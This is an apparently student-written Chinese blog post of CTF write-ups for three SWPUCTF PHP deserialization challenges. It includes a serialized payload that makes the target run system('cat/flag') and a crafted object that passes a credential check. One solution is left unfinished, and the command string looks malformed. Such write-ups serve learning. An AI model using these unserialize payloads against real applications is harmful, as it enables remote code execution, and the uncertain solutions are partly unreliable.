swpuctf新生赛

文章讲述了PHP中的RCE漏洞,通过ez_unserialize函数实现远程命令执行,涉及构造函数、析构函数的利用策略,以及如何绕过特定条件以获取flag。实例包括不同比赛中的挑战和解决方案。
摘要由CSDN通过智能技术生成

目录

 [SWPUCTF 2022 新生赛]1z_unserialize

[SWPUCTF 2022 新生赛]ez_ez_unserialize

[SWPUCTF 2021 新生赛]ez_unserialize


 [SWPUCTF 2022 新生赛]1z_unserialize

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

rce简单来说就是远程命令执行漏洞。

system()就是调用(DOS)系统命令(和shell命令)

直接将 $a 赋值为 system ,也就是将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值成任意命令,造成 RCE 。

将$this->lly赋值成cat/flag就能查看flag文件

<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat/flag";

}

$b = new lyh();
echo serialize($b);
?>

输出内容是这个

将nss反序列换,所以使nss等于这个,就可以查看flag

我的火狐好像有点小问题,但思路应该对的吧,,, 

[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

我对这道题的理解是,最后将x反序列化输出,flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化。但是前面还有wakeup函数,wakeup函数判断x是否等于当前文件目录,如果不等于,就使x等于当前文件目录。所以我们要想办法绕过wakeup函数。

别的文章写的是

这个真没看懂,为什么序列化成员数大于实际成员数就能绕过?我也没想到好的解题方法,

[SWPUCTF 2021 新生赛]ez_unserialize

打开页面源码,发现了这个

所以试着在URL后加robots.txt,然后打开了这个

看到有cl45.php文件,访问它 ,看到题目了

 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?> 

如果admin===admian并且passwd===ctf输出flag

<?php
class wllm{
 
    public $admin;
    public $passwd;
 
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }
}
$a=new wllm();
$b=serialize($a);
echo $b;
?> 

 输出是这个:O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

get传参,直接加URL后面就行

  • 24
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值